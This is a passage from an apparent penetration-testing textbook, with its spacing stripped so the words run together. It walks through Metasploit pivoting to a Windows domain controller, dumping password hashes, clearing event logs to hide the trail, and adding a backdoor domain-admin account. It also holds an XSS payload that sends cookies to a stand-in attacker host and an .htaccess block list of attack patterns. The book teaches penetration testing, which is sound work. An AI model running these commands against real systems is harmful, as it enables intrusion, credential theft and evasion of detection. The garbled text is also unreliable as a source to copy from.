Wheneverpossible,removedetailssuchasnamingyourmachinesJumpbox-2,Mail-1,HTTP-2003,andothersuchtransparentnames.Agoodnamingconventionthatyouradministratorsknowwellcanhelpyoumakeacracker'slifemoredifficult.
Below,weseethelayoutofourattack.Evenifyouarenota"visualperson,"youhavetoconsiderthatthemethodologyyouusetotestanetworkshouldbewelldocumentedforyourpresentationtotheclientortopresentincourt.Itwillalsohelpyoulater,whenyouhavetested200networksandyouareaskedtogobackandcheckoneforitsquarterlycheckup.Thesketchdoesn'thavetobeanythingfancy,butitdoesgiveyoualotofinformationjustbylookingatit.
ThefollowingdrawingisdonewithSolidworksDraftSight,whichisaprogramsimilartoAutoCAD.CADmaynotbethebestchoiceforyouifyoudonothaveanengineeringbackground.Ifyouwantanicesimplediagram-creationapplicationthatisavailableforLinuxdistros,youcangetDiainafewseconds.ItisnotinstalledonthedefaultKaliinstance.Togetyourcopy,type:
apt-get-yinstalldia
Itissimpleandeasytouse.
Mappingthenetworktopivot
Wearecominginfromthe10.100.0.0/24network.Youcanalsousethisforfirewallegress.IftheaddressforBO-SRV2wasapublicaddress,thiswouldworkjustaswell,andevenifitwasprotectedbyafirewallNATwouldstillallowtheexploitandthepivot.Thefirewallwillhandlethetranslationandyouwillbeonthe10.100.0.0/24network.
Thefollowingdiagramshowsthetransversalofthefirewall.Youcanseebycomparingthetwodiagramsthattheexploitpathisbasicallythesameandyouarejustpassingthroughanotherdevice.TheactualattackisstillonBO-SRV2.
CreatingtheattackpathThefollowingdiagramoftheactualattackpathwewilluseforthisdemo.Wearealreadyonthe10.100.0.0/24networkandreadytopivotto192.168.202.0/24.
OncewehaveexploitedBO-SRV2,wecanthenuseitsinterfaceonthe192.168.202.0/24networktoexploithostsonthatnetwork.Sometoolslikedb_nmapdonotworkthroughthistypeofpivot.Thecommanddb_nmapiscallinganoutsideprogram,nmap,todothework,andtheoutputofthisoutsideapplicationisimportedinthedatabase.Nmapisn'taMetasploitmodule.ThepivotweareusingonlyallowsMetasploitmodulestorunthroughthispivot.Noworries.Metasploitcomeswithalotofitsowndiscoverytoolsthatwillworkjustfinethroughthispivot.
OnewayyoucouldlookatthismethodisthatitbuildsontheinformationwegotfromtheoriginalexploitoftheBO-SVR2machine.Withthisbeingthecase,wecouldhavedroppedaback-dooronthatserversowecouldcomebackatanytimetofurtherexploitthenetwork.Don'tworry!Wewillcoverthatinalaterchapter.WearegoingtousethesameexploitweusedlasttimetoexploitBO-SRV2,butthistimetheattackiscomingfromthe10.100.0.0/24network.WecanseeinthefollowingscreenshotthatwehaveexploitedthemachineandnowhaveaMeterpretershell:
Grabbingsystemonthetarget
Next,wemakesurethatwehaveSYSTEMaccessandcheckthesystem'sinformation.Afterthat,wegointoashellonthemachine:
getsystem
sysinfo
shell
Afterthat,yougetyourshellrun:
ipconfig
Wecannowseethenetworkinformationforbothinterfacesandnetworks.Weknowthemaximumsizesofthenetworks(255.255.255.0,andthegatewayaddressesofbothnetworks.WenowknowwhattheIPaddressesoftheroutersare(10.100.0.1and192.168.202.1)andmightassumethatthesearealsofirewalls.Nowweknowwhatisaroundthecorner.
Onceyouhavecopiedthisinformationtoyournotes,younowneedtogetoutoftheWindowsshell.Thelogicalmoverightnowistotype:
exit
ThiswillputyoubacktotheMeterpreterprompt.Wenowneedtogetoutofthisshelltosetupourroutetothenewnetwork.Tobackoutofthisshellandnotclosetheconnection,type:
background
Tip
HackerTip
Ifyouforgetandtypeexitatthispoint,youwillclosetheMeterpretershell,butitwillalsoclosetheexploitsession.Wewanttokeepthesessiongoing.
Tocheckonthesession,type:
sessions-l
Thiswilllisttherunningsessions.YouwillseetheSessionIDNumber,andyouwillneedthiswhensettinguptheroutelater.Here,theIDis1.
SettingUptheroute
Next,weneedtosetuparoutetothenetwork.Metaploithasitsownbuilt-inroutingfunctions.TheroutecommandworksmuchliketheroutecommandinLinuxbuttheroutesyouestablishwithinMetasploitonlyworkwithinMetasploit.
Tosetuptheroute,type:
routeadd192.168.202.0255.255.255.01
Thisaddstheroutetothe192.168.202.0networkwithanetmaskof255.255.255.0,andthe1attheendroutesthistrafficthroughsession1.Notethatwhenwetypejustroute,thecommandfailsandgivesthehelpinformation.Tobesureyourrouteissetup,type:
routeprint
ThiswillprintouttheroutinginformationwithinMetasploit.Aswecansee,wehavearouteusingSession1asthegateway.
Exploringtheinnernetwork
Westillneedtofindsomemachinesonthe192.168.202.0/24network.Yes,weknowwheretherouterisbutweshouldstilllookaroundforsomelowhangingfruit.Firewallsandroutersarenormallywell-hardenedandsometimessetoffalertswhentheyarepokedattoomuch.Onepoketotestforadefaultrouterpasswordshouldbeenough,andthenmoveontolower-hangingfruit.
WeknowthatthisnetworkmostlikelyhasWindowsserversonit.Thisbeingaback-endnetwork,thesearemostlikelyinternalservers-theoneswhereallthereallyjuicydataisat.WehavefoundthatBO-SRV2isusingSMB/NetBIOS.ItislikelythatalloftheserversintheinternalnetworkareusingSMBoverNetBIOSaswell.NetBIOSjustlovestohandoutnetworkandsystemsinformation,sowewillprobetheNetBIOSserviceandseewhatwecanfind.
Wewillusethemoduleauxiliary/scanner/discovery/udp_probe.WeareusingtheUDPprobebecauseweknowNetBIOSwillrespondandreturninformation.Also,IDSsystemsarelesslikelytopickupUDPthantheyaretonoticeunexpectedTCPtraffic.Whenworkingproperly,NetBIOSmessagesmakealotofnoiseonanetwork,somuchnoisethattheIDSsystemwillsquelchthisnoiseandignorethattrafficentirely.Ourinquisitivelittleprobemaygocompletelyunnoticed.
Tip
HackerTip
Metasploitalsocomeswithaudp_sweepmodule.Thisonedoesn'tworkwelloverapivot,sobesuretousetheprobenotthesweep.
Above,wehavesetourRHOSTSnetworkto192.168.202.0/24andsettheLHOSTtoourlocaladdress,10.100.0.196.Wethentyperunwegetourresults.Fromthereturnstringswecanseethatweshowtwoserversandthegatewayrouteronthenetwork.Oneoftheseserversistheoneweareonandwecanseetheinternaladdressof192.168.202.3.WealsoseeanewserverBO-DC1withanaddressof192.168.202.2.WecanalsoseethatbotharemembersoftheLAB1domain.Hmmm.AservernamedDC1.Youdon'tthinkthiscouldbethedomaincontrollerdoyou?
Weknowtheexploitexploit/windows/smb/ms09_050_smb2_negotiate_func_indexworkedonthefirstserver,sowillmostlikelythisworkonBO-DC1.Systemsarepatchedingroupssoavulnerabilitywillmostlikelyworkonothermachines.
Let'spwnusadomaincontroller!
Ifyou'renotstillinthemodule,loadupthems09-050exploitagain:
Ifyou'renotstillinthemodule,loadupthems09-050exploitagain:
useexploit/windows/smb/ms09_050_smb2_negotiate_func_index
WesetourRHOST:
setRHOST192.168.202.2
exploit
Hmmm!Nothinghappened—itjustsatthereandthenfailed.Wecanrunsessions-landseewedon'thaveasession.Whereistheproblem?Whenwelookattheconfiguration,weseethatweareusingouraddressonthe10.100.0.0network.
Let'schangeittothepwnedhostweareonandseewhathappens:
setLHOSTS192.168.202.3
exploit
Andbang!We'rein!Yes,wehaveborrowedtheinterfaceonBO-SRV2andexploitedthroughit.Wenowhaveasession2runningwithaMeterpretershell.Bytypingsysinfo,weseethisisBO-DC1wehavecontrolof.Now,it'stimetogaincontrolofthewholenetwork.Wehavethedomaincontroller,sowecanreallywreakhavoc.
Nowthatweareinthismachine,wemightfinditisdual-homedormulti-homedtoothernetworksegments.Wecanpivotfromthismachinetoathirdnetworkorafourth.Ifoneofthenewlydiscoverednetworksegmentsisalsomulti-homed,wecouldgetourselvesanicecollectionofhostsinthisclientnetwork.Ifyouhaveeverwonderedhowlargenetworksgethackeddeepintotheirinternalnetworks,thisishow.
Also,whenusingpivots,ifafteryouhavegatheredallyourlootyouwanttobackoutwithoutatrace,thelastcommandtorunisclearev.Thiswillclearalltheeventlogsonthemachine.Dothisateverypivotpointwhenbackingoutandyourpathisunlikelytobetraceable.
OK,we'rein.
First,let'sgathersomehashes:
hashdump
Thefunpartaboutcrackingadomaincontrolleristhatyouonlyhavetocrack
Thefunpartaboutcrackingadomaincontrolleristhatyouonlyhavetocrackonehashfiletogetboththelocaladministratorsandthedomainadministrators.WehavethehashvaluesforALLthedomainaccountsandeventhehashesforthemachineaccountsonthedomain.
ItwasreallyniceofMicrosofttoseamlesslyintegratethedomainaccountsinwiththelocalaccounts.ItwouldbemuchsafertostoreLDAPserviceaccountsintheirownencryptedstore.
Besuretocopy/pastetheseintoyourprojectnotesforlaterofflinecracking:
AbusingtheWindowsNETUSEcommand
Passwordcrackingistime-consuming.Thisiswhyitisgenerallyagoodideatotakethatprocessofflineonasystemwithhighresourcelevels.Youdon'thavetowaituntilJohntheRipperhascrackedallthepasswords.WehaveSYSTEMaccess,solet'sjustsetupauseraccounttowhichweknowthepassword.WewillusetheWindowsNETUSEcommandstodothisfromashell.
AddingaWindowsuserfromthecommandline
Thislittle-knownmethodforaddinguserscanmakeyourlifeasaWindowsSystemAdministratoreasier.AddingusersthroughtheGUIinterfaceisslow,butitistheonlywaythatmostWindowsAdministratorsknowhowtodothistask:
1. FrominsidetheMeterpreterprompt,aswedidbefore,type:
shell
2. Runthefollowingcommandsaftergettingashellonthesystem:
netuserevilhackerlamepassword/add
NoticewegotanerrorfromtheSMBservicethatourpasswordisn'tstrongenough,solet'stryitagain.Afterall,agoodpasswordwillkeepusout.Right?
netuserevilhackerLamePassword1/add
Success!3. MakeaLocalAdministratorgroupforher:
netlocalgroup"Administrators"evilhacker/add
Success!4. AddhertotheDomainAdministratorgroup:
netgroup"DomainAdmins"evilhacker/add
Success!5. ToexittheWindowsshell,type:
exit
WehavenowsetupanaccountwithfullrightsthroughouttheDomain.Nowthatwehaveunlimitedaccess,wecanbackoutofourexploitsandgetoutofMetasploit-ifyoulike.Thiswayofcreatingaccountsisalsousefulforyourusualsystemadministrativetaskofaddingnewusers.Youcanwriteabatchfiletoaddanunlimitednumberofusersfromatextfilewithalistofnamesand"first-use"passwords.
BeforeweleaveBO-DC1,weneedtobackgroundoursessiononBO-DC1.Wecanseeourtwosessionsrunningbytyping:
sessions-l
Tokillallsessions,type:
sessions-K
Thiswillkillalltherunningsessions.I'mnotclearingtheEventLogsthistime.
Sincewearestillresidentonthe10.100.0.0network,wewillneedtologintoBO-SRV2first.So,let'sRDPintothehost.WewilluseourbrandnewAdministrator'saccount.TouseRDPonKali,youwilluserdesktop.Rdesktopdoesn'treallyhaveaGUIfrontend,sofromthecommandlinetype:
rdesktop10.100.0.189
Thedesktoploginscreenwillappear.Youwillnoticeinthescreenshotthattheuserislistedasevilhacker.Thiswillfailonadomain.So,sinceweknowtheWindowsdomainisLAB1,enterLAB1\evilhackerandyourlame(butcomplex)password.
We'rein!Asyoucanseeintheillustrationbelow,wehaveaWindowsdomain-administrativeusernamedevilhacker,andwecandoanythingwewant.Wecouldchooseanamethatislessnoticeable,incasethereisanauditofdomainusers.Forpenetrationtesting,wereallywantittobeobviousthatthereisaseriousproblemthatthetestingclientneedstoaddress.
IfweopenuptheActiveDirectoryUsersandComputersmmcpanel,wecanseetheevilhackeraccountwesetup,withwhichwehavefullcontroltodoeverything.
Onecouldask,"whygathertheuserhashesifyouhavecommandoverthedomain?"Alotofnetworkequipmentisn'ttiedtothedomain,andforsecurityreasonsshouldnotbetiedtothedomaincontroller.Firewalls,routers,andsuchshouldhaveloginsseparatefromdomainaccounts.Peopleoftenusethesamepasswordsalloverthenetwork,evenonmachinesthatarenotlogicallyconnectedtothedomainaccountlist.Itishighlylikelythatoneofthepasswordsyoucrackwillworkonothermachinesthatarenottiedtothedomain.Also,evenifthepasswordsdon'twork,youmaygetanideaofhowthenetworkusers
constructtheirpasswordsfromlikesorhobbies.ApasswordsuchasFalconsGoGo!mayleadtoapasswordonanothermachinesuchasRaidersSux!onanotherdevice.Clearly,fromlookingatthefirstpassword,wecanguessthatthepersonisintofootball.Aclue!
Littlebitsofinformationlikethis,thatseemuselessatfirstglance,mayrevealalotwhencombinedwithotherbitsofinformationyoucanfindfloatingaroundthenetwork.Knowingyouruser'smindinanimportanthackingtool.Beingabletogatherbitsofinfoandthenanalyzethesebitsiswhatmakesthedifferencebetweenagoodhackerandagreathacker.Beingabletothinklikethepersonyouareattackingisthegreatestexploitationtool.Themostpowerfulsystemyouhaveistheonebetweenyourears.
SummaryInthischapter,youlearnedhowtohackintoWindowscomputersandhowtopivotfromoneexploitedsystemtoanother.Metasploitisacomplexsystem,butwithpractice,youshouldbeabletogofarbeyondwhatwehaveshownyouhere.YouprobablyhaveseveralyearsbeforeNetBIOSisturnedoffbydefaultinWindowsnetworks,soavariantofthismodelshouldcontinuetobeusefulforquitesometime.
Inthenextchapter,wewillbetalkingabouthowtoexploitwebapplicationsonWindowsservers.
Chapter4.WebApplicationExploitationOneoftheeasiestwaysforanoutsidertogetintoyournetworkisbyattackingyourwebpresence.Therearethreeclassesofattackthatarethemostcommonforallwebserversandapplicationservers:cross-sitescripting,bufferoverflows,andSQLinjection.Asapenetrationtester,youhavetofindandexploitthevulnerabilitiespresented,ifpossible.Wewillintroducethreedifferenttoolsforthispurposeinthischapter:Armitage,OWASPZAP,andBurpSuite.ArmitageistheGUIfrontendfortheMetasploitFramework,OWASPZAPistheNon-ProfitOWASPorganization'sweb-basedwebapplicationtestingtool,andBurpSuiteisacompletewebappexploiterfromPortswigger.
SurveyingthewebscapeArmyourselfwithArmitageZingingWindowsserverswithOWASPZAPSearchanddestroywithBurpSuite
SurveyingthewebscapeSincewebvulnerabilitiesaresotiedtothesitecodeanditsrelativesecurity,wearegoingtostartwithsurveyingthelandscapeofwebinsecurityandthethreetopexploitclasses.Classesofattacksincludemanyspecificexploitsand,generally,cannotbecompletelysolvedbychangingthe.htaccessfile.
ConceptofRobots.txt
Youcanusethe.htaccessfiletoblockaccesstosomeofthesitedirectories,inasimilarwaytohowyoucanusetherobots.txtfiletorequestthatrobotsignoreordonotindexsomedirectories.Weusewgetrobots.txthtaccessattheverybeginningtoseewhatthesiteownersarehidingfromsearchenginespidersandtofindoutwheretherewritesaregoing.Ifweknowthereisawp-adminfolder,wecanknowtodiginthereimmediately.Wecanalsolookforthepaidcontentstoreddirectlyontheserver.Inthefollowingrobots.txtfile,theunixtuxfoldermightholdpaidcontentthatanevilhackercouldsell.Thefollowingisthecontentofrobots.txtfromaWordPresssite:
sitemap:http://cdn.attracta.com/sitemap/73546.xml.gz
User-agent:*
Disallow:/pscripts/
Disallow:/wp-content/
Disallow:/wp-admin/
Disallow:/unixtux/
Disallow:/wp-includes
Disallow:/wp-content/plugins
Disallow:/wp-content/cache
Disallow:/wp-content/themes
Disallow:/wp-includes/js
Disallow:/trackback
Disallow:/category/*/*
Disallow:*/trackback
Disallow:/*?*
Disallow:/*?
Disallow:/*~*
Disallow:/*~
Robotsarerequestedtoignorethesedirectories,butitisbasicallyacourtesythatthesearchenginesoffertoactuallyignorethedirectories.Malwarespidersmayignoretherequestforprivacy.
Conceptof.htaccess
The.htaccessisaninvisiblefile(thusthedotatthebeginning)whichispartoftheApachewebserverandlivesintherootfolderforthewebsite.Thisfileisasetofcontrolsthattellthewebserverwheretodirectcertainrequests.Thisfilecanbeusedtoredirectcertainrequests,forinstance:
ThisfilecanmaintainasessionThisfilecanredirectbadpagerequeststothehomepageoraspecial"404pagenotfound"noticeThisfilecanrefuseaccessfromknownbaddomainsorIPaddresses
Herearesomeexamplesofthat:
<IfModule>
#BEGINBanUsers
#BeginHackRepair.comBlacklist
RewriteEngineon
RewriteCond%{HTTP_USER_AGENT}^[Ww]eb[Bb]andit[NC,OR]
RewriteCond%{HTTP_USER_AGENT}^Acunetix[NC,OR]
RewriteCond%{HTTP_USER_AGENT}^binlar[NC,OR]
RewriteCond%{HTTP_USER_AGENT}^BlackWidow[NC,OR]
RewriteCond%{HTTP_USER_AGENT}^Bolt\0[NC,OR]
RewriteRewriteCond%{HTTP_USER_AGENT}^BOT\for\JCE
[NC,OR]
RewriteCond%{HTTP_USER_AGENT}^casper[NC,OR]Cond%
{HTTP_USER_AGENT}^Bot\mailto:craftbot\@yahoo\.com[NC,OR]
RewriteCond%{HTTP_USER_AGENT}^BOT\for\JCE[NC,OR]
RewriteCond%{HTTP_USER_AGENT}^casper[NC,OR]
#ENDBanUsers
#BEGINTweaks
#RulestoblockaccesstoWordPressspecificfiles
<files.htaccess>
Orderallow,deny
Denyfromall
</files>
<filesreadme.html>
Orderallow,deny
Denyfromall
</files>
<filesreadme.txt>
Orderallow,deny
Denyfromall
</files>
</IfModule>
</IfModule>
<IfModulemod_rewrite.c>
RewriteEngineOn
#Rulestoprotectwp-includes
RewriteRule^wp-admin/includes/-[F]
RewriteRule!^wp-includes/-[S=3]
RewriteCond%{SCRIPT_FILENAME}!^(.*)wp-includes/ms-files.php
RewriteRule^wp-includes/[^/]+\.php$-[F]
RewriteRule^wp-includes/js/tinymce/langs/.+\.php-[F]
RewriteRule^wp-includes/theme-compat/-[F]
#Rulestopreventphpexecutioninuploads
RewriteRule^(.*)/uploads/(.*).php(.?)-[F]
#RulestoblockunneededHTTPmethods
RewriteCond%{REQUEST_METHOD}^(TRACE|DELETE|TRACK)[NC]
RewriteRule^(.*)$-[F]
#RulestoblocksuspiciousURIs
RewriteCond%{QUERY_STRING}\.\.\/[NC,OR]
RewriteCond%{QUERY_STRING}^.*\.
(bash|git|hg|log|svn|swp|cvs)[NC,OR]
RewriteCond%{QUERY_STRING}etc/passwd[NC,OR]
RewriteCond%{QUERY_STRING}boot\.ini[NC,OR]
RewriteCond%{QUERY_STRING}ftp\:[NC,OR]
RewriteCond%{QUERY_STRING}http\:[NC,OR]
RewriteCond%{QUERY_STRING}https\:[NC,OR]
RewriteCond%{QUERY_STRING}(\<|%3C).*script.*(\>|%3E)
[NC,OR]
RewriteCond%{QUERY_STRING}mosConfig_[a-zA-Z_]{1,21}(=|%3D)
[NC,OR]
RewriteCond%{QUERY_STRING}base64_encode.*\(.*\)[NC,OR]
RewriteCond%{QUERY_STRING}^.*(%24&x).*[NC,OR]
RewriteCond%{QUERY_STRING}^.*(127\.0).*[NC,OR]
RewriteCond%{QUERY_STRING}^.*
(globals|encode|localhost|loopback).*[NC,OR]
RewriteCond%{QUERY_STRING}^.*
(request|concat|insert|union|declare).*[NC]
RewriteCond%{QUERY_STRING}!^loggedout=true
RewriteCond%{QUERY_STRING}!^action=jetpack-sso
RewriteCond%{QUERY_STRING}!^action=rp
RewriteCond%{HTTP_COOKIE}!^.*wordpress_logged_in_.*$
#RulestoblockforeigncharactersinURLs RewriteCond
%{QUERY_STRING}^.*(%0|%A|%B|%C|%D|%E|%F).*[NC]
RewriteRule^(.*)$-[F]
#Rulestohelpreducespam
RewriteCond%{REQUEST_METHOD}POST
RewriteCond%{REQUEST_URI}^(.*)wp-comments-post\.php*
RewriteCond%{HTTP_USER_AGENT}^$
</IfModule>
#Customerrordocumentredirects
ErrorDocument400/wp-content/plugins/bulletproof-security/400.php
ErrorDocument401default
ErrorDocument403/wp-content/plugins/bulletproof-security/403.php
ErrorDocument404/404.php
ErrorDocument405/wp-content/plugins/bulletproof-security/405.php
ErrorDocument410/wp-content/plugins/bulletproof-security/410.php
Tomaintaindefenseindepth,youhavetoimplementasmuchautomatedresistanceintothesiteaspossible,butyouwillnotbeabletoblockmanycross-sitescriptingattacks,SQLinjectionattacks,orbuffer-overflowattackswith.htaccess.
Quicksolutionstocross-sitescripting
Cross-sitescriptingisbasicallycausedbyinvalid,un-escapedinputfromthebrowser.TostopitfromhappeningonyourWindowsApplicationserver,youhavetocreatevalidatingrulesthatworkwithyourapplicationarchitecture.TheOWASPTop10ProactiveControlsDocument(https://www.owasp.org/images/5/57/OWASP_Proactive_Controls_2.pdf)showsexamplesofqueryparameterizationforseverallanguagesyoumightbedevelopingyourapplicationsin.ThefollowingisanexampleforC#.NET:
stringsql="SELECT*FROMCustomersWHERECustomerId=
@CustomerId";
SqlCommandcommand=newSqlCommand(sql);
command.Parameters.Add(newSqlParameter("@CustomerId",
System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value=1;
TherearemanydifferentattackspossiblewithXSS,fromminorsitedefacementtosessionhijacking.Belowisanexampleofsessionhi-jacking.
'<script>
varimg=newImage();
img.src="http://EvilHax0r.com?"+document.cookie;
</script>'
Asasecurityengineer,youmayhavetoshowexamplesofexploitcodethatattacksthevulnerabilities,butyouwillexpectthedeveloperstohandlethemitigatingcodeforthevulnerablepages.
Reducingbufferoverflows
Anyformfieldthatcanbefilledbytheuser,orishiddenfromtheuserandcontainssessioninformation,canbeoverflowedunlessitisparameterizedandhandlesexcessdatasafely.Whenyouarereviewingyourweblogs,youmightseeanextra-longURLthatendswithsomethinglikethefollowing:http://,your-
domain.com/images/../../../../../../../../../../%WINDOWS%/%system%/<something-
useful-to-hackers>.ThisisaverysimplecommandintendedtocdtoasystemfileinyourWindowsfolder.ThewebserverattemptstoparsethecommandimplicitlyintheURIandbackuptothedrivepartitionrootandgoforwardintotheWindowsdirectory.Notethatyoucankeepthisfromworkingbynothavingthewebserveronthesamedrivepartition.Iftheinetpubfolderisonther:drive,it'slikelythattheattacker'won'thavepreparedchangingdrives.However,thiswillnotworkonadefaultinstallofWindowsServeranymore,astheOSwillnotallowdirectremoteaccesstothewebserveruser.Youcannotguaranteethataccesstoanotherfolderwillbesowellprotected.
Toreducebufferoverflows,thefieldsmustfailinasafewaywhenacrackertriestooverflowthedatastackofheapinmemory.Onthefrontend,youcouldhaveparametersoneachfield,createdintheHTMLcode,JavaScripting,orahundredothermethods,andthoughtheselooklikequickandeasyfixes,client-sidecodeisnotsafe.Itcanbechanged.Thecarefulparameterizationcouldbegoneinaheartbeat.Youneedtohaveyourdeveloperswriteserver-sidecodetoprotectthesitefrombufferoverflow.Server-sideverificationcodeishardertoaccessandmodifyfromaremotelocation.
AvoidingSQLinjection
ASQLinjectionisanattackthatattemptstoputanunexpecteddatabasecommanddirectlyintoyourwebapplication'sdatabase.Anunexpectedcommandpushedtoyourdatabasecanmodifythecontent,includingerasingthedata.Itcaninfectthedatabaseandpushtheinfectiontoyourusers.Itcanlettheevilhackereavesdroponeverytransactiononthedatabase.Itcanlettheattackerrunoperating-systemcommandsonthehostmachine.Dependingonhowinsecurethecodeis,yourdatabasecouldbegettingsuccessfullyattackedoverandoverbyautomatedtools.YouwillwanttocheckyourapplicationsforwhetherthedevelopmentframeworkusesanObjectRelationalModel(ORM)thatautomaticallyaddsparameterstoformfieldsandperformsstaticcodeinspection.
ThreedefensesagainstSQLinjectionfromtheOWASPSQLinjectionpreparationcheatsheetcanbefoundonline(https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_SheetUseallthreeatonce.
Whereverpossible,useonlypreparedinput,suchasapicklistorradiobuttons,sotheuserhasasmallerquantityofchoices,andprogrammaticallyallowonlyaverysmallgroupofSQLstatementsasinput.Forinstance,iftheformfieldisrequestingwithinwhichUSStatetheuserresides,theremightbeapick-listofstatenamesandcodes.Onlyallowthatspecificsetofentries,bytestingtheinputagainstastaticlist.Anyotherentryshouldcausetheformtoberejected.Don'tallowwild-cardqueriesthatmightreturnunexpectedresults.Parameterizefieldssothatcontentistestedbeforeitgetstothedatabase.Thecontentofafieldcannotbelongerthanyourspecifiedvalue,andcharacterscanonlybespecifictypes.Forinstance,breakupphonenumbersintocountrycode,areacode,andphonenumber.Noneofthethreenewfieldscancontainanythingbutdigits,andthefirsttwocanbecomparedtoaknownlistofpossibilities.Escapeeverythingprogrammatically.Whenyouescapeacharacter,youremoveanycommandimplicationfromthecharacter,replacingitwiththeliteralASCIIvalue.Anyuser-supplieddatashouldbeprogrammaticallyreviewedtoreducethenumberofdirectSQL
commandsthatcanberunthroughSQLinjection.Eachdatabasemanagementsystemhasitsownescapingmode.Wewillleaveitasanexerciseforyourdeveloperstofindandimplementtheescapingmethodsthatmakesensewithyourwebapplications.InMicrosoft'sSQLServer,youcanusethebuilt-incommandsQUOTENAME,todefangsinglecharactersandstringsupto128characterslong,andREPLACEtoescapestringsofarbitrarylength.
ArmyourselfwithArmitageArmitageisaGUIfront-endforMetasploitandwecanuseittorunallsortsofattacksonourtargetWindowsusers.SincethisisanewinstallationwhichMetasploithasneverbeenrunbefore,westartwitherrorsandsetup.ThefirstillustrationistheerrorraisedbypostgresqlnotstartingwhenArmitagetriedtobringuptheMetasploitservice:
SincethisisKaliLinux2.0,wewilltryandstartthepostgresqlserverwiththecommand:
/etc/init.d/postgresqlstart
Afterstartingpostgresqlsuccessfully,westartedtheMetasploitconsoleaswellandthenstartedArmitagefromaterminalwindow,sowecouldwatchthestandardoutputwhileitcameup.IttookquiteawhilefortheArmitagewindowtocomeup,andforafewminutesitlookedliketheMetasploitservicewouldnotletusbringArmitageup.
Thefirststepafteritcameupwastoloadtheexploits,asshowninthefollowingillustration.Youhavetwochoices:FindAttacksandHailMary.IfyouchooseHailMary,thesystemwillthroweverythingithasatallthepossibletargets.IfyouchooseFindAttacks,thelikelyexploitsforeachtargetwillcomeupbesideit.WearechoosingtheFindAttackspath.HailMaryplaysareverynoisy.OnesignofanexpertusingtheArmitagetoolisthisspecificationoftherequiredexploit,ratherthanjustthrowingeverythingatthetargetnetwork.
Workingwithasingleknownhost
Wecanimporthostsfromalist,performanNMapscananddiscoverthem,oraddhostsmanually.Becausewehaveonlyonetargetrightnow,wewillenterthehostmanually.
Nowwehaveourhost,wecanjustaddtheOSversionandseewhatArmitagecancomeupwith.WeknowitisWindows7andweknowithasawebserverliveonit.
WeclickedontheServicesandScanbuttonsaboveOSinthefirstdialog,fromrightclickingonthehost,anditgaveusarunningMetasploitportscan.Whenyouhitrefreshontheservicesscan,itshowsports139,80,and445openwithMicrosoft-IIS7.5runningandWindows7ProfessionalSP1(build7601).
Wearenotcreatingaworkspaceforthistestbecausetheworkspacefunction
doesnotseemtoworkasexpected.WhenwerantheAttacks|FindAttacksmenuitem,itcreatedanadditionalmenuwhenright-clickingthetargetmachine.Thisopenedalistofalltheattacksavailableforthatspecificmachine'soperatingsystemandknownopenports.WechoseiisfortheimagebelowandranthecommandsunderCheckExploits....
Theoutputshowsthatthetargetmachineisnotsusceptibletoanyofthoseexploits.Thiscertainlysavestimewhensearchingforgoodexploitstorun.
TheHTTPattacklisthas132possibleexploits,andyoumustkeepinmindthatthisisadefaultinstanceofiiswithonlyonestaticpageup.Therearesofewcustomizationsorhelperapplicationsforiisthatdirectexploitationisunlikely.Whenyouarecheckingtheviabilityofsomanyexploits,justusethekeyboardshortcutCtrl+Ftoopenasearchtool.
DiscoveringnewmachineswithNMap
Whatifwearegivenablack-boxtestwhereweknowthenetworksegmentstotestbutnotthespecifichosts?ItisfastertorunatestwithMetasploit'sscannerorwithalinkedNMapscan.ThefollowingusestheNMapComprehensivescan.Thisisnoisyandmoreeasilydiscoverablethanasurgicalstrikeonaspecificserver,soitisbesttorunthiswhenthereisalotoftrafficonthenetwork.Mondaymorningatabout9:30shouldbeprettybusy,aspeoplegetintotheofficeandstartcheckingtheirmailandwhatnot.
WhenyouchooseNMapComprehensive,adialogopensaskingyourchoiceofIPorrange.Wearechoosingthe192.168.56.0/24networkrangetogettheentireClassCnetworksegmentweexpect.WechoosetheCIDRwherethetestingmachineIPappearsonthenetwork.Ifitisalargersegment,wewillmiss
someofthehosts.Ifyoufindnohostsliveintherangeof192.168.56.1-192.168.56.255,youcandecreasethe/CIDRnumber.IfthetargetnetworkusespublicIPsfortheirinternalnetwork,ortheyareusingAorBclassprivateIPranges,youcanreducethe/CIDRnumber.
Asamemoryjogger,inIPversion4,ClasslessInter-DomainRouting(CIDR)wasintroducedtoreducewasteofalimitednumberofavailableIPaddresses.TheCIDRnumberisthenumberofbitsinthesubnetmask.Intheory,youcanhaveCIDRnumberslessthan8,whichisthebitcountofaClassAnetwork.Startingwithourexpected254possiblehostsinaClassCnetwork,everytimeyoureducetheCIDRnumberby1,youdoublethepossiblenumberofhoststoscan.AClassAnetworkwith17millionhoststoscancantakeanappreciablylongtime.Thisisoneofthereasonsyouwillneverwanttodothat.
NowthatourNMapscanisdone,let'slookatourhosts.Wehavethefollowinghostsupatthemoment:
KaliAttackplatform:192.168.56.101WindowsWorkstation:192.168.56.102WindowsServer2012:192.168.56.103
Inthischapter,wearegoingtogoafterthewebserverontheWindowsServer2012.
TherearedozensofpossibleexploitsforHTTPandfourexploitsforIIS.Theeasiestthingtodoistocheckwhichexploitshaveachanceofworkingonthiswebserver.SincethereareonlyfourIISexploits,wewillcheckforthosefirst.
TheoutcomeoftheIIScheckisthatthehostisnotexploitable,sowehavetogoaftertheHTTPattacksandmssqlinjectionattacks.Thismachinehasseveralpossibleexploits,butforthemostparttheapplicationshaveproventobedifficult.WehaveanotherWindowswebserveronthesecondarynetwork.Wecanrattleitscageabit.Thenextimageisthesetupdialogforms09_004_sp_replwritetovarbin_sqli,aninjectionexploit.
ThefollowingimageistheexploittoattackMicrosoftSQLServer:exploit/windows/mssql/ms09_004_sp_replwritetovarbin_sqli.
ZingingWindowsserverswithOWASPZAPOWASPZAPisaGUIinterfacethatteststhevulnerabilitiesofawebsite,andusingthedetailsZAPproduces,youcanfindpossibleattackvectorsonyourtargetmachineormachinesonthenetwork.Weareusingoneinternallabmachineandtwomachinesonthepublicinternettolookforholesandvulnerabilities.ThefirsttimeyoustartZAP,youwillseetheirApacheLicense,whichyoumustaccept.ThelicensementionsthatyoumustnotuseZAPtoscanamachineorsitetowhichyoudonothaverights.Itisnotlegaltoscansitesyoudon'thaverightstoandwewillnotbeamusedifwefindoutyouarescanningourtestsiteswithoutpermission.Wemightconsiderallowingyoutoscanthesiteswithpermission,butyouwillhavetoaskfirst.
Thenextdialogisaquestionofwhetheryouwishtouse,orcontinuetouse,
